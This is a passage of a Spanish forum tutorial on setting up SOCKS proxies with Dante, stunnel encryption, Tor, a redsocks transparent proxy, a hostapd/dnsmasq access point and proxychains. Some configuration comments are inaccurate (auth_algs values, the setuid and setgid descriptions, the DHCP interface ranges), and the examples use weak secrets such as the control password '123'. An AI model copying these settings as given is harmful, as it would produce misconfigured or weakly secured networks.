curl -x "socks5h://127.0.0.1:1080" https://ifconfig.me && echo



Probando la conectividad del proxy

Nota: No hace falta aclarar el porqué de ocultar la dirección IP pública.

Si bien, y como se aclaró, usando o no el proxy se obtendrá el mismo resultado, pero suponiendo el caso de que el servicio no se haya iniciado por cualquier situación, podríamos comprobarlo de la siguiente manera.


Código: bash
sudo service danted stop
curl -x "socks5h://127.0.0.1:1080" https://ifconfig.me && echo



Fallo de la conexión

Como se puede apreciar, no indica que No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ha fallado, más bien indica que el proxy lo ha hecho, por lo que para cerciorarnos es de esta manera.


No todo es color de rosas, y es que con un sniffer decente es todavía posible observar el contenido que se comparte entre el cliente y el servidor SOCKS, como se puede apreciar en la siguiente figura usando Wireshark.



Usando Wireshark para ver el contenido que se comparte un cliente y un servidor

Esto es sumamente peligroso si se desea compartir datos confidenciales, pero afortunadamente hay soluciones.

Instalación de Stunnel:

Stunnel se utiliza mayormente para proveer conexiones seguras a clientes que no propician TLS o SSL de forma nativa. Es posible ejecutarlo en una variedad de sistemas, usa criptografía clave pública y entre otras características igual de excelentes que las antes mencionadas.

Al inicio de su ejecución puede presentar un puerto externo seguro que es mapeado a un puerto TCP o UDP no seguro perteneciente a la aplicación objetivo.

Suponiendo el primer caso más trivial donde se desee implementar una conexión SSL segura a una conexión hacia un servidor inseguro, siendo éste un servidor SMTP, Stunnel mapeará el puerto 443 al puerto 25 del servidor de correo. Inicialmente el tráfico generado por los clientes que se conecten a través del proxy deberá pasar a través del puerto 443 y a su vez Stunnel lo redireccionará al 25. Stunnel puede ser ejecutado en el mismo servidor donde se mantenga en ejecución a la aplicación de correo, que aunque esta última no disponga de protección concienzuda, los dos programas serán ejecutados en un firewall interno seguro, además que todo este proceso será transparente.

Para poder instalar Stunnel, con un simple comando es posible:


Código: bash
sudo apt-get install stunnel4



Instalación del paquete stunnel4

Configuración de Stunnel:

Antes de iniciar la configuración, debemos agregar la marca de orden de bytes, algo requerido por el mismo dante, y para aclarar un poco más, se especificará que la codificación unicode en este caso será en UTF-8, como lo indica la siguiente figura.


Marca de orden de bytes

Para ello, es necesario primero cambiar de el usuario actual al usuario root.

Código: bash
sudo su
echo -e '\xef\xbb\xbf; BOM composed of non printable characters. It is here, before the semicolon!' > /etc/stunnel/stunnel.conf
exit # Salimos



Iniciando la configuración de stunnel

Es indispensable escribir en la línea 2 del archivo de configuración, y si el lector es olvidadizo, ese es el objetivo del comentario «BOM composed of non printable characters. It is here, before the semicolon!».

Simplificando, aquí una configuración para el correcto y básico funcionamiento de Stunnel:


Código: text
setuid = stunnel4
setgid = stunnel4

[trivial server]
accept      = 1081
connect     = 127.0.0.1:1080
ciphers     = PSK
debug       = 3
PSKsecrets  = /etc/stunnel/psk.txt
setuid      = stunnel4
setgid      = stunnel4



Configuración de stunnel

setuid

Como opción global: setgid() al grupo especificado en modo daemon y borrar todos los demás grupos.

Como opción de nivel de servicio: establezca el grupo del socket Unix especificado con "accept". setuid = USER (solo Unix)

setgid

Como opción global: setuid() al usuario especificado en modo daemon.

Como opción de nivel de servicio: establezca el propietario del socket Unix especificado con "accept".

accept

Aceptar conexiones en la dirección especificada.

Si no se especifica ningún host, el valor predeterminado es todas las direcciones IPV4 para el host local.

Para escuchar en todas las direcciones IPV6 se debe utilizar:


Código: text
accept = :::PORT


connect

conectarse a una dirección remota

Si no se especifica ningún host, el valor predeterminado del host es localhost.

Se permiten varias opciones de conexión en una sola sección de servicio.

Si el host se resuelve en varias direcciones y/o si se especifican varias opciones de conexión, la dirección remota se elige mediante un algoritmo round robin.

ciphers

seleccionar cifrados TLS permitidos (TLSv1.2 y inferiores)

Esta opción no afecta a los cifrados TLSv1.3.

Una lista delimitada por dos puntos de los cifrados para permitir en la conexión TLS, por ejemplo DES-CBC3-SHA:IDEA-CBC-MD5.

debug

El nivel es uno de los nombres o números de nivel syslog o números, emerg(0), alert(1), crit(2), err(3), warning(4), notice(5), info(6) o debug(7). Se mostrarán todos los registros para el nivel especificado y todos los niveles numéricamente inferiores a los que se mostrarán. Utilice debug = debug o debug = 7 para la mayor salida de depuración. El valor predeterminado es notice(5).

PSKsecrets

archivo con identidades PSK y claves correspondientes

Cada línea del archivo en el siguiente formato:


Código: text
IDENTITY:KEY


Las claves hexadecimales se convierten automáticamente en forma binaria. Las claves deben tener al menos 16 bytes de longitud, lo que implica al menos 32 caracteres para claves hexadecimales. El archivo no debe ser legible en para todo el mundo ni grabable para cualquiera.


Todo lo mostrado en esta sección es lo elemental, pero si se requiere ir más allá y extrapolar conceptos, no hay mejor que leer la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.


Uso de Stunnel:

Es necesario primero, generar la clave precompartida, cosa posible con openssl, que podría o no estar instalado, de cualquier modo, es sencillamente instalable con el siguiente comando:

Código: bash
sudo apt-get install openssl


Acto seguido, vamos a generar la susodicha clave:

Código: bash
sudo su
openssl rand -base64 -out /etc/stunnel/psk.txt 180
sed --in-place '1s/^/psk:/' /etc/stunnel/psk.txt
cat /etc/stunnel/psk.txt | tr -d "\n" > /etc/stunnel/psk.1.txt
mv /etc/stunnel/psk.1.txt /etc/stunnel/psk.txt
chmod 600 /etc/stunnel/psk.txt
exit


La explicación es sumamente sencilla: primero generamos 180 bytes de números pseudo aleatorios codificados a base64, acto seguido, le agregamos como prefijo psk a la cadena anteriormente generada, siendo en realidad un valor arbitrario, luego se eliminan todos los caracteres de nueva línea, pero el archivo resultante será nombrado como psk.1.txt para que no quede vacío por un conflicto entre dos flujos, aunque después éste remplaza al original, se le asignan los permisos correctos (en este caso, 600) y salimos.

A partir de este momento, es necesario, primero, compartir la clave precompartida a los clientes, e iniciar el servicio stunnel4.

Para seguir con el ejemplo, se usará Arch Linux como cliente. Aunque como no se desea que terceros puedan ver la clave, es mejor usar herramientas parecidas a scp, o el mismísimo en este caso:


Código: bash
sudo scp /etc/stunnel/psk.txt [email protected]:/tmp



Transfiriendo la clave de forma segura

Código: bash
sudo mv /tmp/psk.txt /etc/stunnel


Luego el cliente debe agregar el archivo de configuración de stunnel para poder realizar la conexión con el servidor, y los diversos servicios.

Código: text
; BOM composed of non printable characters. It is here, before the semicolon!

setuid = stunnel
setgid = stunnel

[trivial client]
client     = yes
accept     = 127.0.0.1:1080
connect    = 192.168.1.106:1081
debug      = 3
PSKsecrets = /etc/stunnel/psk.txt
setuid     = stunnel
setgid     = stunnel


Cabe aclarar que, al igual que el servidor, se debe agregar al inicio del archivo el BOM.

Por supuesto, que la configuración cambia entre sistemas, pero para este caso será de la manera plasmada anteriormente. Una vez que se han escrito los cambios del archivo de configuración, se debe iniciar el servicio, que en Arch es llamado sockd:


Código: bash
sudo systemctl start stunnel



Iniciando stunnel en la máquina cliente

No podemos ultimar esta sección sin antes haber probado y verificado que el resultado es digno de agradecimiento.

Código: bash
curl -x "socks5h://127.0.0.1:1080" http://ifconfig.me && echo



Wireshark analizando tráfico encriptado

No importa qué paquete veamos, todo está encriptado, por lo que nuestra configuración ha sido satisfactoriamente ejecutada.

Autenticación segura con Stunnel y Dante:

Un efecto posiblemente indeseado sea el de no querer que todo el mundo use del proxy, por lo que agregando una medida extra podría evitar éso. Efectivamente se haría con un simple cambio en la configuración y reiniciando el servicio.

Código: bash
socksmethod: username


¡Listo! Ya se podría usar la autenticación, que, si no se sabe ni cómo generar usuarios, pues vienen siendo los mismos del sistema. Y que lo diga mejor el código:

Código: bash
sudo adduser proxy_user
sudo passwd proxy_user



Agregando al usuario proxy_user

El cliente ahora, si desea ingresar, debe iniciar sesión desde su programa-cliente, en este caso CURL.

Código: bash
curl -x "socks5h://proxy_user:[email protected]:1080" http://ifconfig.me && echo


Aumentando la privacidad, seguridad y evadiendo restricciones: Tor:

La red Tor, esa fascinante red que nos provee una capa extra de seguridad en nuestras comunicaciones. Una red capaz de evadir la censura más torturadora para una persona que reside en un país donde la libertad de expresión es nula o inimaginable. Tor (siglas de The Onion Router), es un proyecto cuyo principal objetivo es desarrollar una red distribuida de baja latencia, superpuesto sobre Internet donde el encaminamiento de mensajes no revela la identidad del usuario.


La red tor

Tor implementa una técnica llamada encaminamiento cebolla, o del inglés, onion routing, técnica usada conseguir que las redes preserven su privacidad de forma transparente con los individuos de la red, por ende, es viable realizarlo de forma pública.

Por lo general, cuando un cliente desea conectarse a un servidor de la manera tradicional, la petición pasa a través del router, a su vez ésta a los enrutadores del ISP, y por último, al servidor objetivo.

Por supuesto, que es posible que un tercero puede leer lo que transferimos, y aunque lo cifraramos desde el origen, podrían residir datos que nos puedan identificar.

La solución ante tal hecho, es usar la susodicha técnica. En vez de que el paquete pase por una vía directa, es mejor que viaje por una no directa y más o menos aleatoria a través de los nodos de la red.



La red tor

Usando un directorio donde residan las claves de los nodos, la petición A cifrará el contenido para C, y luego se lo enviará a B, luego ésta cifrará ese contenido al penúltimo nodo, y finalmente, cuando se finalice toda esta transacción, se le enviará la respuesta descifrada al destinatario.

La red en diseño tiene sus pros y contras, y entre uno de sus contras está, que el último nodo es capaz de ver el contenido tal cual como lo envió A, solo sí no se cifró desde el origen.


Instalación de tor:

Para hacer uso de Tor, es necesario el paquete, por suerte en la mayoría de distribuciones de diferente índole, el nombre es invariable.

Código: bash
sudo apt-get install tor


Uso:

Tanto su uso puede ser perfectamente ejecutado como un daemon o iniciándolo como un aplicativo más, pero para ser más organizados, vamos a hacerlo de la manera tradicional.

Código: bash
sudo service tor start


El uso de Tor es aun más sencillo que los anteriores aplicativos, ya que como está por defecto, su uso, es perfecto.

Código: bash
curl -x "socks5h://127.0.0.1:9050" http://ip-api.com/json | jq



Viajando a través de la red

Como se puede apreciar nos encontramos en los Países Bajos en un santiamén.

Configuración automática en LAN/WLAN:

Cualquiera que esté en sus cabales, puede notar lo excesivo que puede ser esto para un usuario promedio en un ambiente doméstico: instalar la aplicación correspondiente, procurar que no se quejará por algún error o un sinfín de vicisitudes que se puedan presentar en determinado contexto, y luego, si se tiene éxito, conectar a la aplicación. ¿Y si se pudiera adelantar todos esos pasos de forma transparente al usuario? Afortunadamente sí es posible, y el usuario lo único que tiene que hacer es conectarse, ya sea por medio de Ethernet o WIFI, a nuestro pequeño punto de acceso (o usando el cable de ethernet, si es por esta vía).

En aras a la simplicidad, vamos a usar por el resto de las subsecciones, scripts que nos ayuden a configurar de forma amena toda la infraestructura. Claro está que es necesario instalar un par de paquetes que se irán nombrando a lo largo del artículo.


Instalación de redsocks:

Según, desde el repositorio oficial de redsocks, es:

CitarUna herramienta que permite redirigir cualquier conexión TCP a SOCKS o proxy HTTPS utilizando su firewall, por lo que la redirección puede ser en todo el sistema o en toda la red.

Esta herramienta, con un par de configuraciones, es posible que cumpla con éxito el objetivo de esta sección, pero antes, es necesario instalarla:

Código: bash
sudo apt-get install redsocks


Ya instalado, es ahora indispensable ejecutar ciertos scripts que hacen uso de iptables para configurarlo junto con redsocks.

Uso de redsocks:

Antes que nada, he aquí los archivos:


Archivos necesarios para configurar redsocks

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:
Código: bash
# Crear una nueva cadena
sudo iptables -t nat -N REDSOCKS
# Ignorar LANS y otras dirección reservadas (https://es.wikipedia.org/wiki/Anexo:Direcciones_IP_reservadas).
sudo iptables -t nat -A REDSOCKS -d 0.0.0.0/8 -j RETURN
sudo iptables -t nat -A REDSOCKS -d 10.0.0.0/8 -j RETURN
sudo iptables -t nat -A REDSOCKS -d 127.0.0.0/8 -j RETURN
sudo iptables -t nat -A REDSOCKS -d 169.254.0.0/16 -j RETURN
sudo iptables -t nat -A REDSOCKS -d 172.16.0.0/12 -j RETURN
sudo iptables -t nat -A REDSOCKS -d 192.168.0.0/16 -j RETURN
sudo iptables -t nat -A REDSOCKS -d 224.0.0.0/4 -j RETURN
sudo iptables -t nat -A REDSOCKS -d 240.0.0.0/4 -j RETURN
# Cualquier otra cosa debería ser redirigida al puerto 12345
sudo iptables -t nat -A REDSOCKS -p tcp -j REDIRECT --to-ports 12345


redsocks.conf:
Código: text
base {
        log_debug = on;
        log_info = on;
        log = "file:/tmp/redsocks.log";
        daemon = on;
        redirector = iptables;
}

redsocks {
       /*
        * Por defecto es 127.0.0.1 por razones de seguridad,
        * pero si deseamos escuchar en todas las interfaces,
        * usamos la dirección no especificada, 0.0.0.0. El
        * puerto es arbitrario igualmente.
        */
        local_ip = 0.0.0.0;
        local_port = 12345;

        // Dirección IP y puerto del servidor proxy
        ip = <Dirección IP>;
        port = <Puerto>;

        // Los tipos conocidos son: socks4, socks5, http-connect, http-relay
        type = <Tipo>;
}


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:
Código: bash


sudo iptables -F
sudo iptables -X
sudo iptables -Z
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t nat -Z
killall redsocks


El primer archivo (init.sh) como su mismo nombre lo indica, serán las reglas para iptables, así redsocks funcionará correctamente; el segundo (redsocks.conf) es la configuración de redsocks, que se hablará en breve; y, el tercero y último, pero no menos importante, es la contraparte de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, ya que es el encargado de restaurar las cadenas y reglas de iptables y terminar (si está en ejecución) el proceso redsocks.


Pasemos directo a la acción ejecutando el primer archivo, no sin antes permitir la redirección de paquetes, y, especificar nuestra interfaz de salida:


Código: bash
sudo sysctl net.ipv4.ip_forward=1
sudo iptables --table nat --append POSTROUTING --out-interface ppp0 --jump MASQUERADE


Para mi caso, la interfaz del sistema de salida es ppp0. Ahora sí, se deberá ejecutar el script anteriormente mencionado.

Código: bash
sudo sh init.sh


A su vez, aunque es opcional y se le deja en libertad al lector, vamos a crear una función para agregar reglas que serán redirigidas a la cadena REDSOCKS, anteriormente creada con el script No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Código: bash
function add_redsocks_rule() {
    local is_extern=$1
    local port=$2
    local chain

    if [ "$#" -lt 2 ];then
        echo "Sintaxis: add_redsocks_rule <0|1> <PUERTO>"
        return 1
    fi

    if [ "$is_extern" -eq 1 ];then
        chain="PREROUTING"
    elif [ "$is_extern" -eq 0 ];then
        chain="OUTPUT"
    else
        echo "No se puede saber si la regla es externa o no."
        return 1
    fi

    sudo iptables -t nat -A "$chain" -p tcp --dport "$port" -j REDSOCKS
}


Y, para el gozo de los perezosos u olvidadizos, vamos a agregar dos alias.

Código: bash
alias add_redsocks_rule_internal="add_redsocks_rule 0"
alias add_redsocks_rule_external="add_redsocks_rule 1"


Una vez se ha realizado con diligencia el prologo de nuestra operación, es momento de configurar redsocks.conf, siendo elemental configurar sólo la dirección de nuestro servidor proxy, que, si bien, no es recomendable hacer la práctica que se citará a continuación, se eligió uno al azar por la web, siendo su localización: Brasil.


Configurando la dirección del proxy

Es momento de ejecutar redsocks.

Código: bash
sudo redsocks -c redsocks.conf


Y, se deberá probar si funcionó, ya sea comparando nuestra dirección IP pública original con la del servidor proxy, o viendo la localización del ISP, pero antes de continuar, es importante que usemos la función que se creó hace unos momentos para poder agregar los puertos a los que se deberá redirigir.

Código: bash
add_redsocks_rule_internal 80
add_redsocks_rule_internal 443


Esto lo que hará será aplicar la cadena REDSOCKS a los puertos TCP especificados. Y como paso final, se prueba su eficacia:

Código: bash
curl http://ip-api.com/json | jq



Proxy en Brasil

Como es posible apreciar por las ilustraciones, no es necesario especificar, con el parámetro de CURL -x, la dirección, ni el puerto, ni el tipo del proxy, sino que será sigilosamente ejecutado.

LAN:

Ya es sabido lo sencillo que es configurar un proxy tanto si se desea usar con configuraciones implícitas o explícitas, pero no se puede obviar el hecho de que algunos usuarios se vean en la necesidad de disponer de un proxy sin tener que configurarlo, como puede ser en LAN.

Para que eso sea posible, es necesario propiciar de un servidor DHCP, cosa que nos la puede facilitar mucho dnsmasq.


Instalación de dnsmasq:

dnsmasq proporciona tanto un servidor DNS, un servidor DHCP, y entre otras cosas muy interesantes. Es adecuado para maquinarias de escasos recursos, ya que es liviano y tiende a consumir muy poco. Además, una característica muy relevante en este software es, que puede almacenar las consultas en caché, lo que aumentaría la búsqueda de los sitios almacenados con anterioridad.

Su instalación, al igual que los demás paquetes no pasa de un comando:


Código: bash
sudo apt-get install dnsmasq


Configuración de dnsmasq:

Su configuración es simple, pero se ha comentado diligentemente cada detalle debido a la largura de las descripciones.

Código: text
# Los navegadores antiguos tenían una barra que era específica para las búsquedas en los 
# buscadores, pero el usuario por ignorancia usaba la que era para los dominios, lo que
# provocaba que se perdiera tiempo resolviendo dominios inexistentes, lo que acarreaba
# en una respuesta DNS "NXDOMAIN". Con esta instrucción se evita eso (aunque los navega-
# dores actuales ya solucionarón ese inconveniente), pero esto hace referencia a los
# antiguos.
domain-needed

# Evitar que se haga una consulta DNS inversa a una dirección local o en el espacio de
# direcciones.
bogus-priv

# No usar el fichero 'resolv.conf'
no-resolv

# Definimos los servidores DNS, que, a conveniencia se usan los de OpenDNS.
server=208.67.222.222
server=208.67.220.220

# Configuramos el servidor DHCP para asignar el rango de direcciones en 24h(oras) en las
# interfaces wlan0 (la tarjeta de red inalámbrica) y eth0 (la de ethernet).
# wlan0 tendrá el siguiente rango: 192.168.0.2 a 192.168.0.254, mientras que el punto de
# acceso (nosotros) tendrá la dirección 192.168.0.1
# eth0 tendrá el siguiente rango: 10.42.0.2 a 10.42.0.254, mientras que la máquina local
# tendrá la siguiente dirección 10.42.0.1
#
# Nota #1: Tienen que usar sus propias interfaces.
# Nota #2: Recuerden que su tarjeta de red inalámbrica debe admitir el modo AP para que
# sea posible crear un punto de acceso.
dhcp-range=eth0,192.168.0.2,192.168.0.254,24h
dhcp-range=wlan0,10.42.0.2,10.42.0.254,24h

# Registramos las consultas y demás (opcional, pero altamente recomendable para la depuración)
log-queries
log-dhcp
log-facility=/var/log/dnsmasq.log


La ubicación donde se debe escribir es en /etc/dnsmasq.conf. A continuación se reinicia dnsmasq.

Código: bash
sudo service dnsmasq restart


Asimismo como hicimos para agregar reglas internas, ahora debemos agregar reglas externas.

Código: bash
add_redsocks_rule_external 80
add_redsocks_rule_external 443


Y, por motivos de prueba, usamos la máquina cliente para ver si hemos tenido o no éxito, que, se debe hacer de forma parecida al examen que hicimos localmente.

Código: bash
curl http://ip-api.com/json | jq



Probando el proxy sin necesidad de configurarlo en el cliente

WLAN:

Se aumenta paulatinamente la complejidad, pero estas palabras no son ni de lejos ciertas. Ya habiendo configurado exitosamente el proxy, tanto de forma local como en LAN, ahora pasamos al siguiente nivel, que sería la conectividad inalámbrica, algo que a día de hoy, es muy bien recibido.

Para ello, vamos a crear un punto de acceso, pero para el cliente será como conectarse a cualquier router doméstico, además, si le sumamos que navegará por un proxy sin necesidad de instalar ni configurar nada, es en serio, muy útil.


Instalación de hostapd:

hostapd es un software gratuito y de código abierto, que está diseñado para facilitar la creación de puntos de acceso. En caso de verse en la necesidad de no contar con un router, pero sí con una tarjeta de red inalámbrica compatible con el modo AP, esta herramienta es muy útil, y muy configurable, además tiene diferentes características que, de solo mencionarlas, sería quedarse corto. Entre sus características son:


  • Soporte WPA/WPA2, WEP, entre otros.
  • Es posible crear redes ocultas.
  • Estadísticas muy detalladas de los datos.
  • Entre otras tantas.

Primero para explotar todas las características, hay que tener instalado dicho paquete, que se puede hacer con el siguiente comando:

Código: bash
sudo apt-get install hostapd


Configuración de hostapd:

Ahora es necesario configurarlo, para ello, se deja aquí mismo el archivo ya comentado, no sin antes repetir que se debe verificar si la tarjeta de red tiene soporte para el modo AP, por suerte se puede ver con el comando iw, pero si no se tiene instalado:

Código: bash
sudo apt-get install iw


Para ver cuántas tarjetas de red inalámbricas tenemos:

Código: bash
iw dev



Listado de interfaces de redes

Donde dice phy#0, es el índice de hardware, y es importante saberlo para poder ver la información con el siguiente comando, aunque para no complicar su visualización, solo se mostrará parte del resultado, que son los modos soportados, que es lo que nos interesa.

Código: bash
iw phy0 info



Modos soportados

Se ve claramente que entre los modos soportados está el que nos interesa: AP, pero en caso de que no esté y se intente crear un punto de acceso con hostapd puede ser muy inestable o ni siquiera se crearía.

Ahora que ya se ha comprobado si nuestra tarjeta de red tiene ese poder, he aquí la tan esperada configuración:


Código: bash
# El nombre de la red
ssid=DtxdF

# El canal
channel=5

# Esta opción, que depende de la tarjeta, significando así, junto con la
# compatibilidad 'N', la tecnología que admite.
hw_mode=g

# 1 = WPA; 2 = WEP; 3 = Ambos
auth_algs=3

# Compatibilidad con la tecnología 'IEEE 802.11n'
ieee80211n=1

# QoS
wmm_enabled=1

# La interfaz de la tarjeta de red inalámbrica
interface=wlan0

# Versión 2 de WPA
wpa=2

# Una contraseña super segura
wpa_passphrase=thisisapasswordsupersecure123@

# (AES) Counter Mode CBC-MAC Protocol
rsn_pairwise=CCMP


Está perfectamente comentado, por lo que lo único que faltaría es aclarar que algunos valores como el de hw_mode, ieee80211n, y rsn_pairwise, depende de las posibilidades de nuestra tarjeta de red, y para poder ver esa información, el compañero ideal será iw, aunque si éste no muestra detalles útiles o específicos, tal vez sea necesario instalar el paquete lshw, o usar el viejo iwconfig.

Ya guardado el archivo de configuración en /etc/hostapd/hostapd.conf, es hora de reiniciar el daemon hostapd:


Código: bash
sudo service hostapd restart


Mientras tanto en el cliente, y ya habiendo accedido vía WIFI a nuestro punto de acceso, es posible ver si la magia ha hecho efecto al corroborar la ubicación.


Uso del proxy en Android a través de WIFI

The Onion Router Access Point (Tor-ap):

Si el lector no ha quedado satisfecho con usar un proxy común y corriente, de formal local, por LAN y WLAN, entonces quizá le atraiga la idea de usar la red Tor.

Uso:

tor-ap es un script simple que permitirá redirigir todas las conexiones hacia la red Tor. Tal script se puede encontrar en las siguientes líneas:

Código: bash
#!/usr/bin/env sh

# El identificador del usuario de Tor.
TOR_UID=$(id -u debian-tor)

# Las destinos que no se enrutarán a través de Tor.
NON_ROUTE="127.0.0.1/8"

# El puerto DNS local, que, por defecto es el 53.
LOCAL_DNS=53

# Esta sección es para la máquina local.
#
# L_TOR_DNS: El puerto DNS de Tor para la máquina local.
# L_TRANS_PORT: El puerto del proxy transparente para la máquina local.
L_TOR_DNS=5353
L_TRANS_PORT=9040

# Esta sección es para las máquinas remotas (cliente conectados vía LAN/WLAN).
#
# No hace falta explicación, es lo mismo que la anterior sección, pero
# aplicado a las máquinas remotas.
R_TOR_DNS=5354
R_TRANS_PORT=9041

iptables --flush
iptables --table nat --flush

iptables --table nat --append OUTPUT --match owner --uid-owner $TOR_UID --jump RETURN
iptables --table nat --append OUTPUT --protocol udp --dport $LOCAL_DNS --jump REDIRECT --to-ports $L_TOR_DNS
iptables --table nat --append PREROUTING --protocol udp --dport $LOCAL_DNS --jump REDIRECT --to-ports $R_TOR_DNS

for NET in $NON_ROUTE;do
        iptables --table nat --append OUTPUT --destination $NET --jump RETURN

done

iptables --table nat --append OUTPUT --protocol tcp --syn --jump REDIRECT --to-ports $L_TRANS_PORT
iptables --table nat --append PREROUTING --protocol tcp --syn --jump REDIRECT --to-ports $R_TRANS_PORT


Damos los correspondientes permisos de ejecución:

Código: bash
chmod +x tor-ap


Y, configuramos Tor:

/etc/tor/torrc:
Código: bash
# Cuando Tor necesita asignar una dirección virtual (no utilizada) debido a un comando
# MAPADDRESS del controlador o la función AutomapHostsOnResolve, Tor elige una
# dirección no asignada de este rango. Más en 'man 1 tor'.
VirtualAddrNetwork 10.192.0.0/10
# Cuando esta opción está habilitada y recibimos una solicitud para resolver una dirección que termina
# con uno de los sufijos en AutomapHostsSuffixes, asignamos una dirección virtual no utilizada a esa
# dirección y devolvemos la nueva dirección virtual. Esto es útil para hacer que las direcciones
# ".onion" funcionen con aplicaciones que resuelven una dirección y luego se conectan a ella.
# Más en 'man 1 tor'
AutomapHostsOnResolve 1

# Esto es necesario para la máquina local.
#
# El puerto del proxy transparente
TransPort 9040
# El puerto del servidor DNS UDP de Tor
DNSPort 5353

# Esto es necesario para los clientes remotos.
TransPort 0.0.0.0:9041
DNSPort 0.0.0.0:5354


Ahora se reinicia Tor:

Código: bash
sudo service tor restart


Antes de ejecutar CURL, debemos, con una instancia de Tor en ejecución, ejecutar tor-ap.

Código: bash
sudo ./tor-ap


Ahora comprobamos:

Código: bash
curl http://ip-api.com/json | jq



Finalización de tor-ap

La ventaja más llamativa de tor-ap frente a la tradicional configuración de este austero artículo, es, que no es necesario especificar los puertos específicos, ni hacer malabares para que funcione Tanto local, como en LAN y WLAN, con la simple ejecución del script es posible realizar todo esto, y con la segunda ventaja, pero igual de grandiosa, y es que si realizamos una prueba de fuga de DNS, los resultados serán magníficos.


DNS Leak Test

No hay fugas.


No está demás decir, antes de concluir, que, no es necesario aplicar una regla a iptables para indicarle al sistema qué interfaz será la de salida (en otras palabras, la que brindará al usuario conexión a Internet) y tampoco es necesario habilitar la redirección de paquetes (con sysctl), eso es otra ventaja.


Nyx & Tor:


Circuitos de Tor usando Nyx

Nyx es un monitor de línea de comandos para Tor. Con él es posible obtener información sumamente detallada en tiempo real sobre los circuitos que hacen uso los usuarios, como el uso de ancho de banda, las conexiones, los registros, y muchísimo más.

Para usar la imprescindible herramienta, podremos instalarla de la siguiente manera:


Código: bash
python3.7 -m pip install nyx


Es importante que seleccionen su versión de Python correspondiente, ya que en algunas distribuciones el comando sin especificar su versión implica ejecutar la versión 2.7, ya vieja y descontinuada.

Ya instalado, no es necesario configurar Nyx, pero sí a Tor


Configuración de Tor para su uso con Nyx:

Antes de hacer nada, vamos a generar una clave para aumentar la seguridad en el control de Tor, para ello con el siguiente comando, que se comentará en breve, es posible hacerlo.

Código: bash
tor --hash-password 123



HASH que se deberá usar en la configuración de Tor

Anotando la salida de ese comando, y pegándola en la configuración de Tor de la siguiente manera:

/etc/tor/torrc:
Código: bash
ControlPort 9051
HashedControlPassword 16:A2A0C4D4E718EBE8600E129DB98AA1C3459069F221E8BDC73063CC4EF6


Allí especificamos el HASH de la contraseña 123, y además, con ControlPort damos a entender que es el puerto para habilitar el control del proceso Tor.

Ahora ejecutamos nyx y por motivos de seguridad se nos preguntará la contraseña.



Inicio de sesión con nyx

Una vez tecleamos la contraseña correspondiente, e ingresamos exitosamente, nos encontramos con el gráfico del ancho de banda, tanto de bajada como de subida.


Gráfico del ancho de banda

Presionamos la flecha derecha de nuestro teclado y obtenemos otra vista: ahora podremos ver los circuitos.


Circuitos de Tor

Si se presiona ENTER veremos información en pantalla.


Circuitos de Tor mejor detallados

Una muy útil forma de usar nyx es para obtener una nueva identidad. Simplemente presionando la tecla n se nos cambiará.

Código: bash
for i in {1..3};do
    curl -x "socks5://127.0.0.1:9050" -s http://ip-api.com/json | jq ".query" | tr -d '"'
done
# Después de requerir una nueva identidad.
curl -x "socks5://127.0.0.1:9050" -s http://ip-api.com/json | jq ".query" | tr -d '"'



Cambiando de identidad

Proxychains:


En ciertas ocasiones cuando una aplicación tiene la habilidad de conectarse, ya sea a Internet o un sucedáneo, no trae con sí el poder de configurar un proxy, afortunadamente existe una herramienta capacitada para este fin.

Proxychains es ideal para situaciones como las anteriormente planteadas, ya que permite, dependiendo de su configuración, encadenar una lista de proxies.


instalación:

Código: bash
sudo apt-get install proxychains


Uso:

Proxychains es fácil de configurar, ya que consta de un solo archivo de configuración, y dentro de él, tiene tres formas de funcionar, sumando a las diversas opciones.


  • Dinámico o Dynamic: Cada conexión se realizará a través de proxies encadenados, tal y como estén en la lista, omitiendo a los muertos.
  • Estricto o Strict: Igual que Dynamic, pero es necesario que todos los proxies encadenados estén en línea.
  • Aleatorio o Random: Cada conexión se realizará a través de un proxy aleatorio.

Es necesario antes de ejecutar a proxychains, definir la cadena de proxies a utilizar, los cuales, para este artículo, serán:

Código: text
socks5 135.181.39.13  1080  # Finland
socks5 151.106.34.139 1080  # France
socks4 127.0.0.1      1212  # Este no existe (!)
socks5 192.252.215.5  16137 # Canada


Suponiendo que el tercer proxy no exista, en teoría igualmente debería funcionar, salvo que ningún otro funcione, pero este no es el caso (al menos no en el momento de escribir estas palabras).

Código: bash
proxychains curl http://ip-api.com/json && echo



Modo dinámico de proxychains

Como se puede observar, aunque algunas conexiones fallen, sigue su ejecución con prontitud.

Ya habiendo probado el modo dinámico, por supuesto que para ver otro tipo de funcionamiento, vayamos con el estricto, que, según la descripción, es igual a dynamic, pero falla si alguna conexión falla. Así que lo que se debe hacer para cambiar el modo, es, comentar dynamic_chain en el archivo de configuración y a su vez, descomentar strict_chain, dejando intacto lo demás. Ejecutando el mismo comando, aquí su resultado.



Modo estricto en proxychains

Falló exactamente como se tenía en mente, pero ahora comentando el proxy que no existe, debería funcionar tal y como se está maquinando en nuestra mente.


Modo estricto sin fallar en proxychains

Obtenemos un resultado grato, y es porque se eliminó el proxy muerto o inexistente.

Faltaría entonces un modo, siendo uno de los más interesantes: random. Su mismo nombre ilustra lo que hará. Pasamos comentado strict_chain y descomentando random_chain, a su vez, ejecutamos nuevamente el mismo comando, pero esta vez en un bucle for, siendo su límite hasta tres veces para ver qué obtenemos.



Modo aleatorio de proxychains

Sin tocar absolutamente nada, se percibe tácitamente el cambio que proxychains hace entre las cadenas de proxies, concluyendo así las modalidades.

Opciones misceláneas de proxychains:


  • chain_len: Esto determinará cuántas de las direcciones IP de la cadena se utilizarán en la creación de la nueva cadena de proxies aleatoria.
  • quit_mode: No muestra la salida verbosa. Muy útil si se quiere combinar con otros programas usando tuberías, por ejemplo.
  • proxy_dns: Usar los proxies para realizar una petición DNS. Lo positivo es que no habrá filtrado de datos, y lo negativo, es que el servidor de tener habilitada implementada esta característica.
  • tcp_read_time_out: El tiempo de espera para la lectura en milisegundos.
  • tcp_connect_time_out: El tiempo de espera para conectar en milisegundos.

El archivo de configuración de proxychains está muy bien documentado, así que en caso de duda, es buena idea acudir a él también.

Conclusión:

